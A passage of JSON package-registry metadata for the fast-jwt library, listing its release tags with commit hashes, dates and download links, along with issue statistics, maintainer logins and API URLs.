00Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.1.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"20b60bed72d7127efcb710882448e92e5a7b0e9a","kind":"commit","published_at":"2023-05-30T10:54:02.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.1.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"5047511a3a9391765f702907e136f526b7dcae81","kind":"commit","published_at":"2023-05-18T11:12:03.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.0.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.0.0/manifests"},{"name":"v2.2.3","sha":"988ee8ac96183248bfaf1a2500401039cfe725de","kind":"commit","published_at":"2023-05-11T12:22:31.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.2.3","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.3/manifests"},{"name":"v2.2.2","sha":"1247667d5816268338b75d604709ef4e31eeffb0","kind":"commit","published_at":"2023-04-27T08:59:37.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.2.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"d0d641a78d58db53b6abef0f7db05ba3777b0216","kind":"commit","published_at":"2023-03-30T09:32:26.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.2.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"a46f8e0ea33d419882f1ad2833c5012bb604d3e3","kind":"commit","published_at":"2023-02-07T11:07:14.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.2.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"318d351fbc2b6687ef69c6b23307799b7affab72","kind":"commit","published_at":"2023-01-10T11:23:17.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.1.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"d3b57d3f44a834ac43e74311b9bb7783dc9ff029","kind":"commit","published_at":"2022-11-18T11:41:01.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.0.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.0.2/manifests"},{"name":"v2.0.0","sha":"d6270e4f8ef3ef5638d8e316dd90d985f99e9f23","kind":"commit","published_at":"2022-11-14T17:05:53.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.0.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.0.0/manifests"},{"name":"v1.7.2","sha":"31209b3e1f5493e89a5c009e6527a4de973f3763","kind":"commit","published_at":"2022-11-13T11:16:20.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.7.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.2/manifests"},{"name":"v1.7.1","sha":"c5ed86385c5c084bc30f248793d8cca048f7f211","kind":"commit","published_at":"2022-09-06T09:55:04.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.7.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"d88f03499671da58ec21b22b4815c66807a38b87","kind":"commit","published_at":"2022-08-01T16:06:41.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.7.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.0/manifests"},{"name":"v1.6.1","sha":"ef2615b7ebbf1cf03f1ce2a4130fcbce1f82663d","kind":"commit","published_at":"2022-07-10T21:37:42.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.6.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.6.1/manifests"},{"name":"v1.6.0","sha":"474109c77b122022f1d51eeba7fb97466d3836e0","kind":"commit","published_at":"2022-06-21T09:22:01.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.6.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.6.0/manifests"},{"name":"v1.5.4","sha":"0c60acd08ab6b8cbeca14b0e3d32a555bf7381c7","kind":"commit","published_at":"2022-04-28T11:12:51.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.4","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.4/manifests"},{"name":"v1.5.3","sha":"fe11cc65f6063083e77d95d45929a59f0587a408","kind":"commit","published_at":"2022-04-06T08:01:00.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.3","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.3/manifests"},{"name":"v1.5.2","sha":"66eab88cc6b30bdd6e9cee45d88bd2abdc52b794","kind":"commit","published_at":"2022-04-04T14:46:04.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.2/manifests"},{"name":"v1.5.1","sha":"1ab02127260afebb75cc151a7284af7856a8a79e","kind":"commit","published_at":"2022-02-21T14:15:42.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.1/manifests"},{"name":"v1.5.0","sha":"94b1f2ddc304ec4fdf50a4ccbd4ee8e1e5584664","kind":"commit","published_at":"2022-02-17T14:21:46.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.0/manifests"},{"name":"v1.4.1","sha":"87eb00a559c747265a93abcd9e1720a33864af21","kind":"commit","published_at":"2021-12-30T09:56:35.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.4.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"47ae343727d2bea251d62f59ae99f9dd4c39b435","kind":"commit","published_at":"2021-12-01T16:51:17.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.4.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.4.0/manifests"},{"name":"v1.3.2","sha":"64d708da672e98c7ed282d19ad94cebe497a49ec","kind":"commit","published_at":"2021-11-10T10:17:13.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.3.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"3775179b4dc707d95a7bf27aa16273537bd274bd","kind":"tag","published_at":"2021-11-10T10:15:13.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.3.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"c5ee92f6e5bcd66a16bd1eb4b05028d9b799c4a2","kind":"commit","published_at":"2021-11-01T11:12:01.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.3.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.0/manifests"},{"name":"v1.2.0","sha":"3797baed48f10a5ea1be1a42fd568f78b81e6d22","kind":"commit","published_at":"2021-06-18T09:44:58.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.2.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.2.0/manifests"},{"name":"v1.1.3","sha":"afc21fe439dd6318032f20b4ded5455c27496bea","kind":"commit","published_at":"2021-03-11T21:59:10.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.1.3","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.3/manifests"},{"name":"v1.1.2","sha":"79c2d4f395f203c0d7851436891c31fc20e8a894","kind":"commit","published_at":"2021-03-10T09:49:14.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.1.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"74280953b1837e84e4863b2ab1dac8b72ac85a08","kind":"tag","published_at":"2021-03-08T16:36:03.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.1.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"8f9ad666a5a161a4d8d944ff4cde7f7a68e6d03f","kind":"commit","published_at":"2021-01-25T07:34:00.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.1.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"787d3c4af0570fb36fc0763c39cdeb7e3274a974","kind":"tag","published_at":"2021-01-21T12:06:38.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.0.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.0.0/manifests"},{"name":"v0.5.1","sha":"0b843ad29082408b5ab0da77bd4ba3dc6673ec88","kind":"tag","published_at":"2020-10-24T12:47:48.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.5.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"b88bce09f7e3f8993e6cf994371abb74c718b9f7","kind":"tag","published_at":"2020-10-24T08:23:40.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.5.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.5.0/manifests"},{"name":"v0.4.2","sha":"e5d425bad5494c5d60881e20d173a2312bfe681d","kind":"commit","published_at":"2020-10-13T09:08:50.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.4.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"2f4796cf2587aa647590fdc277925a278841468a","kind":"commit","published_at":"2020-09-09T14:02:32.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.4.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"12e22a25a1c9b1b05a2252c6f81e2ef4bd4b3601","kind":"commit","published_at":"2020-09-08T13:56:32.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.4.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.0/manifests"},{"name":"v0.3.1","sha":"18c56b0d9d2b6607f0e1c22c5f130e21f57d3249","kind":"tag","published_at":"2020-09-04T06:44:33.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.3.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"ef601872d33c438e61e4e440aa714c8daec8b2bd","kind":"tag","published_at":"2020-08-27T06:30:40.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.3.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"1cfa5064c6d5190b47c450d543c59bb8303f06b3","kind":"commit","published_at":"2020-08-17T13:09:32.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.2.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.2.0/manifests"},{"name":"v0.1.1","sha":"4476dcfff678c27e506245a33293dce5781236e3","kind":"commit","published_at":"2020-06-23T09:27:10.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.1.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.1.1/manifests"},{"name":"v0.1.0","sha":"878469bd124161f35b43b38575f9d8a237c65061","kind":"commit","published_at":"2020-06-23T09:12:56.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.1.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nearform/fast-jwt@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-13T02:43:57.397Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":6.858889874540616,"dependent_packages_count":6.425167912812064,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":6.64202889367634},"purl":"pkg:golang/github.com/nearform/fast-jwt","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/nearform/fast-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/nearform/fast-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/nearform/fast-jwt/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-05T21:35:04.331Z","issues_count":102,"pull_requests_count":357,"avg_time_to_close_issue":3832880.907216495,"avg_time_to_close_pull_request":1026625.099099099,"issues_closed_count":97,"pull_requests_closed_count":333,"pull_request_authors_count":45,"issue_authors_count":56,"avg_comments_per_issue":1.4411764705882353,"avg_comments_per_pull_request":0.8515406162464986,"merged_pull_requests_count":177,"bot_issues_count":39,"bot_pull_requests_count":250,"past_year_issues_count":15,"past_year_pull_requests_count":22,"past_year_avg_time_to_close_issue":4708593.066666666,"past_year_avg_time_to_close_pull_request":1213458.0909090908,"past_year_issues_closed_count":15,"past_year_pull_requests_closed_count":22,"past_year_pull_request_authors_count":9,"past_year_issue_authors_count":8,"past_year_avg_comments_per_issue":1.2,"past_year_avg_comments_per_pull_request":1.3181818181818181,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":7,"past_year_merged_pull_requests_count":17,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/issues","maintainers":[{"login":"simoneb","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/simoneb"},{"login":"lv10","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/lv10"},{"login":"ilteoood","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ilteoood"}],"active_maintainers":[{"login":"lv10","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/lv10"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnearform%2Ffast-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnearform%2Ffast-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnearform%2Ffast-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnearform%2Ffast-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnearform%2Ffast-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnearform%2Ffast-jwt/codemeta","maintainers":[],"registry":{"name":"proxy.go